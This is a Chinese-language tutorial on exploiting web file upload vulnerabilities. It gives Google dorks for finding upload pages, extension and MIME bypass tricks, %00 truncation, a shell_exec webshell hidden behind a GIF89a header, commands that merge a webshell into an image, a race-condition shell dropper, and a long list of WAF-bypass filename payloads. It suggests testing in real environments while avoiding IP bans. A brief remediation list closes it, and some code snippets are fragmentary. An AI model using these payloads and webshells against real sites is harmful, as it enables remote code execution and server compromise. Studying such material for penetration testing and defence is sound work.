目录
1、文件上传漏洞原理
2、常见的文件上传类型
3、文件上传注入点
4、web中常见的上传验证
黑名单常见自定义过滤规则
白名单常见的过滤规则
5、逻辑数组绕过
5.1、图片一句话木马的制作与利用
5.2、文件头检查
5.3、getimagesize()图像信息判断
5.4、竞争条件攻击
5.5、突破exif_imagetype()
5.6、脚本解析漏洞
6、WAF绕过
7、文件上传安全修复方案
网站Web应用都有一些文件上传功能,比如文档、图片、头像、视频上传,当上传功能的实现代码没有严格校验上传文件的后缀和文件类型,此时攻击者就可以上传一个webshell到一个Web可访问的目录上,并将恶意文件传递给如PHP解释器去执行,之后就可以在服务器上执行恶意代码,进行数据库执行、服务器文件管理,服务器命令执行等恶意操作。还有一部分是攻击者通过Web服务器的解析漏洞来突破Web应用程序的防护。
常规类:扫描获取上传,会员中心上传,后台系统上传,各种途径上传
CMS类:已知CMS源码,搜索已知cms漏洞(wordpress等)
编辑器类:ckeditor,fckeditor,kindeditor,xxxeditor,也是搜索相关编辑器漏洞
中间件类:可以通过中间件解析漏洞,上传包含后门代码的图片
1. 常规文件上传地址的获取说明
使用谷歌语法搜索inurl:upload.php
2. 寻找特定网站的文件上传:
site:xx.xx upload
3. 通过后台目录扫描工具扫描
后缀名:黑名单、白名单
文件类型:MIME信息(数据包里Content-Type:image/gif)
文件头:内容头信息
Gif图片(GIF89a)
jsp脚本(JFIF)
replace('php','')
$deny_ext = array('.asp','.aspx','.php','.jsp');//黑名单数组
$file_name = trim($_FILES['upload_file']['name']);//去掉文件名两侧的空白字符
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');//截取最后.之后的内容
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
绕过方式(黑盒测试):
1、a.php::$DATA,Windows系统下PHP服务器会将后缀名带::$DATA的文件当作文件流处理,过滤不起作用,上传到服务器之后,截取::之前的格式作为文件后缀,也就是a.php
2、大小写绕过
3、.htaccess文件(配置文件,将文件名为shana的文件当作php文件执行)
SetHandler application/x-httpd-php
4、针对黑名单规则只过滤一次,双写脚本后缀 一次过滤: a.php->a. a.pphphp->a.php
5、点绕过。
$file_name = deldot($file_name);//删除文件名末尾的点
可以更改上传文件的后缀名a.php改为a.php. .
经过代码过滤之后文件后缀名变为a.php. 。从而绕过黑名单提交到服务器,Windows服务器不允许后缀名最后带.,因此将文件后缀名还原为a.php
6、空格绕过。"a.php "不会匹配黑名单的.php从而绕过。且上传后会被Windows服务器自动去掉空格。
7、中间件解析漏洞。
对于网站而言,白名单验证比名单拦截更要安全
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1); //截取后缀名
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
绕过白名单验证方式:
1、%00和0x00截断。%00是被服务器解码为0x00发挥了截断作用
0x00是十六进制表示方法,是ascii码为0的字符,在有些函数处理时,会把这个字符当做结束符。
%00和0x00是有区别的:%00是URL中的,0x00是文件命名
%00需要PHP版本小于5.3.4,且打开php的配置文件php-ini,将magic_quotes_gpc(魔术引号)设置为Off
get会自动解码 %00
post不会解码 %00 -> url编码
2、0x0a截断:原理同上
3、MIME绕过。burp抓包,修改Content-type值为合法的image/jpeg,image/gif等即可绕过
cmd命令行,将图片与马合成图片
copy 1.png /b + shell.php /a webshell.jpg
利用文件包含漏洞,include函数解析图片马
主要是检测文件内容开始处的文件幻数,比如图片类型的文件幻数如下,要绕过jpg文件幻数检测就要在文件开头写上下图的值:
Value = FF D8 FF E0 00 10 4A 46 49 46
要绕过gif文件幻数检测就要在文件开头写上下图的值
要绕过png文件幻数检测就要在文件开头写上下面的值
然后在文件幻数后面加上自己的一句话木马代码就行了
如果上传的不是图片文件,那么getimagesize()就获取不到信息,则不允许上传。
通过Linux合成图片马,此时使用getimagesize()既可以获取图片信息,文件后缀php也能被解析为脚本文件,从而绕过getimagesize()的限制。
cat image.jpg webshell.php > image.php
一些网站上传文件的逻辑是先允许上传任意文件,然后检查上传的文件是否包含Webshell脚本,如果包含则删除文件。这里存在一个问题是文件上传成功后和删除文件之间存在一个短的时间差(因为要执行文件上传和删除文件的操作),攻击者就可以利用这个时间差完成竞争条件的上传漏洞攻击。
利用:可以先上传一个webshell脚本10.php,10.php的内容是生成一个新的webshell脚本shell.php。10.php的代码如下
fputs(fopen('../shell.php','w'),'');
?>
当10.php上传成功后,客户端检查脚本文件后会自动生成shell.php。
exif_imagetype() 读取一个图像的第一个字节并检查其签名。如果发现了恰当的签名则返回一个对应的常量,否则返回 FALSE。返回值跟getimagesize() 返回的数组中的索引 2 的值是一样的,但exif_imagetype函数快得多。PHP需要开启php_exif模块
返回值与图像类型对应表如下
绕过方法:
给上传脚本加上相应的幻数头字节就可以,php引擎会将
(一般不限制图片文件格式的时候使用GIF的头比较方便,因为全都是文本可打印字符。)
GIF89a
php echo shell_exec($_GET['cmd']);
?>
图片文件通常有称作幻数的头字节,我们来看一下几种图片文件的幻数:
(注意!下面是二进制而不是文本格式的数据)
JPG
FF D8 FF E0 00 10 4A 46 49 46
GIF(相当于文本的GIF89a)
47 49 46 38 39 61
PNG
89 50 4E 47
通过检查头几位字节,可以分辨是否是图片文件
参考链接:https://blog.csdn.net/weixin_43965597/article/details/107665597
参考链接:https://blog.csdn.net/weixin_34088838/article/details/94607178
常见的绕过方法:
1、数据溢出-防匹配(xxx...)
2、符号变异-防匹配(' " ;)
3、数据截断-防匹配(%00 ; 换行)
4、重复数据-防匹配(参数多次)
1、数据溢出绕过WAF需要大量的模糊测试,当垃圾参数过多时,WAF的检测就可能会失效
2、符号变异就是猜测WAF检测的依据,例如filename="a.php"
网站安全狗WAF软件现在的机制就是匹配单/双引号里面的内容
pyload
"xx'.php
"xx;.php
'xx;.php
";xx.php
';xx.php
" xx.php
' xx.php
"x x.php
'x x.php
3、数据截断-防匹配(%00 ; 换行)
通过用; 或者 %00 或者 换行 来截断文件名,使得WAF错误识别或不能识别文件类型从而达到绕过WAF
文件名中加入图片后缀提前用分号截断(可行)
原因是防护软件只检测分号(;)前面的部分,一旦正确就放行,不再检测后面的,然而apache服务器会取最后的文件类型来命名
payload
"ab.jpg;.php"
"abc.php%00.jpg" #注意%00需要经过url编码
"x.p
h
p"
x.ph
p
x.
p
h
p
4、重复数据-防匹配(参数多次)
payload
filename="Content-Disposition: form-data; name="upload_file";x.php"
filename="xx.jpg";filename="xx.jpg";filename="xx.jpg";filename="xx.jpg";...........filename="xx.php";
重复filename
前面的filename为可接受的文件格式,最后一个为php文件格式,前面的重复多次,可绕过。
●filename中配合其他参数
配合Content-Disposition
配合Content-Type
5、配合目录命名绕过
"/"与";"配合绕过
payload:
filename="/jpeg;x.php"
filename="/jpeg;/x.php"
6、配合FUZZ字典测试绕过
手工测试的话有点麻烦,可以借助写好的字典配合BP进行批量测试,先在本地测试,然后在真实环境进行测试,以防封IP。
https://github.com/TheKingOfDuck/fuzzDictshttps://github.com/TheKingOfDuck/fuzzDicts
GitHub - fuzzdb-project/fuzzdb: Dictionary of attack patterns and primitives for black-box application fault injection and resource discovery.https://github.com/fuzzdb-project/fuzzdb
后端验证:采用服务端验证模式
后缀检测:基于黑名单,白名单过滤
MIME 检测:基于上传自带类型检测
内容检测:文件头,完整性检测
自带函数过滤:参考 uploadlabs 函数
自定义函数过滤:function check_file(){}
WAF 防护产品:宝塔,云盾,安全公司产品等